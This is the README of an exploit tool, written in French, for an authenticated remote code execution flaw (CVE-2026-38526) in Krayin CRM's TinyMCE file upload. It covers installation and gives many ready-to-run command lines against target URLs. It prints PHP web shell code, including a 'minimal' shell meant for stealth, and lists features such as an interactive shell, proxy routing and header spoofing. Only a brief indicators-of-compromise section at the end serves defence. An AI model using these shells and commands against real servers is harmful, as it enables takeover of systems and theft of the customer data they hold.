🔓 Krayin CRM v2.2.x - Exploit d'exécution de code à distance authentifiée

⚠️ POUR TESTS DE SÉCURITÉ AUTORISÉS UNIQUEMENT - Toute utilisation non autorisée est illégale et contraire à l'éthique.

📋 Aperçu

Cet outil d'exploitation démontre une vulnérabilité critique d'exécution de code à distance (RCE) authentifiée découverte dans Krayin CRM version 2.2.x. La vulnérabilité réside dans la fonctionnalité de téléchargement de fichiers TinyMCE, qui permet aux administrateurs authentifiés de télécharger et d'exécuter du code PHP arbitraire sur le serveur.

Propriété	Valeur
ID CVE	CVE-2026-38526
Logiciel concerné	Krayin CRM v2.2.x
Type de vulnérabilité	Exécution de code à distance authentifiée (RCE)
Authentification requise	Oui (accès niveau Administrateur)
Impact	Compromission complète du système
Score CVSS	8,8 (Élevé)

🚨 Détails de la vulnérabilité

La vulnérabilité provient d'une validation insuffisante du type de fichier dans le point de terminaison de téléchargement de fichiers TinyMCE (/admin/tinymce/upload). Un administrateur authentifié peut :

• Télécharger un fichier PHP déguisé avec un type MIME d'image.
• Le fichier est stocké dans un emplacement accessible via le web.
• L'attaquant peut alors exécuter du code PHP arbitraire sur le serveur.

Versions concernées

• Krayin CRM 2.2.0
• Krayin CRM 2.2.1
• Krayin CRM 2.2.2
• Toutes les versions 2.2.x avant la publication du correctif

✨ Fonctionnalités

• Types de shell multiples : Basique, Avancé, Minimal, Gestionnaire de fichiers et Personnalisé.
• Shell interactif : Interface de type terminal complète avec historique des commandes.
• Téléchargement de fichiers : Télécharger des fichiers supplémentaires via le shell.
• Extraction de jeton CSRF : Gestion automatique de la protection CSRF.
• Support proxy : Acheminer le trafic via des proxies HTTP/HTTPS.
• Formats de sortie flexibles : Texte, JSON ou mode Silencieux.
• Logique de nouvelle tentative : Nouvelle tentative automatique en cas d'échec de connexion.
• En-têtes personnalisés : Prise en charge des en-têtes HTTP personnalisés.
• Mode verbeux : Sortie de débogage détaillée.
• Support SSL : Vérification facultative du certificat SSL.

📦 Installation

Prérequis

• bash
• Python 3.7+
• pip install httpx beautifulsoup4 colorama

Installation rapide

git clone https://github.com/CerberusMrXi/KrayinCRM-RCE-Exploit-CVE-2026-38526/.git
cd KrayinCRM-RCE-Exploit-CVE-2026-38526
pip install -r requirements.txt

Fichier des prérequis (requirements.txt)

httpx>=0.24.0
beautifulsoup4>=4.12.0
colorama>=0.4.6

🚀 Utilisation

Syntaxe de commande de base

python3 exploit.py -t <URL_CIBLE> -u <NOM_UTILISATEUR> -p <MOT_DE_PASSE> [OPTIONS]

Paramètres requis

Paramètre	Description
-t, --target	URL cible (ex. http://192.168.1.100)
-u, --username	Nom d'utilisateur ou email administrateur
-p, --password	Mot de passe administrateur

Exemples d'utilisation courante

# Exploitation de base avec shell généré
python3 exploit.py -t http://target.com -u [email protected] -p password

# Télécharger un fichier shell PHP personnalisé
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php

# Générer un shell avancé avec mode interactif
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i

# Générer un fichier shell sans exploitation
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php

# Utiliser un proxy pour les tests / le débogage
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080

# Sortie JSON pour l'automatisation
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json

# Mode verbeux avec délai d'attente personnalisé
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60

# User-Agent et en-têtes personnalisés
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"

🐚 Types de shell

1. Shell basique (basic) Exécution de commande simple avec la fonction system().

   <?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
   

2. Shell avancé (advanced) Shell riche en fonctionnalités avec :

   • Méthodes d'exécution de commandes multiples
   • Belle interface web de type terminal
   • Support de l'historique des commandes
   • Affichage de l'utilisateur actuel et du nom d'hôte

3. Shell minimal (minimal) Empreinte minimale pour la discrétion.

   <?php system($_GET["cmd"]); ?>
   

4. Gestionnaire de fichiers (file_manager) Interface complète de gestion de fichiers :

   • Téléchargement de fichiers
   • Suppression de fichiers
   • Création de répertoires
   • Navigation
   • Visualisateur de permissions de fichiers

5. Shell personnalisé (custom) Utilisez votre propre fichier shell PHP avec le paramètre -f.

📝 Formats de sortie

Format texte (par défaut)

Sortie colorée lisible par l'homme, adaptée à une utilisation interactive.

Format JSON (-o json)

Format lisible par machine pour l'automatisation et l'intégration.

{
  "success": true,
  "shell_url": "http://target.com/shell.php",
  "upload_url": "/storage/upload/shell.php",
  "message": "Upload successful",
  "timestamp": 1699123456.789,
  "details": {
    "status_code": 200,
    "response": "..."
  }
}

Format silencieux (-q, --quiet)

Aucune sortie sauf pour les erreurs. Utile pour le traitement par lots.

⚙️ Options avancées

Option	Description	Valeur par défaut
--timeout	Délai d'attente de la requête en secondes	30
--retry	Nombre de tentatives de nouvelle tentative	3
--retry-delay	Délai entre les tentatives en secondes	2
--user-agent	Chaîne User-Agent personnalisée	UA navigateur par défaut
--header	En-têtes HTTP personnalisés (Clé : Valeur)	Aucun
--verify-ssl	Vérifier les certificats SSL	False
--proxy	URL du proxy HTTP/HTTPS	Aucun
-v, --verbose	Activer la sortie de débogage	False
-q, --quiet	Supprimer toute sortie	False

Exemple d'en-têtes personnalisés

--header "X-Custom-Header: value" --header "User-Agent: CustomUA/1.0"

🔒 Détection et prévention

Signes de compromission (IoC)

• Fichiers à surveiller :
  • Fichiers PHP inhabituels dans public/storage/upload/
  • Fichiers avec doubles extensions (ex. image.php.jpg)
  • Nouveaux fichiers avec des noms suspects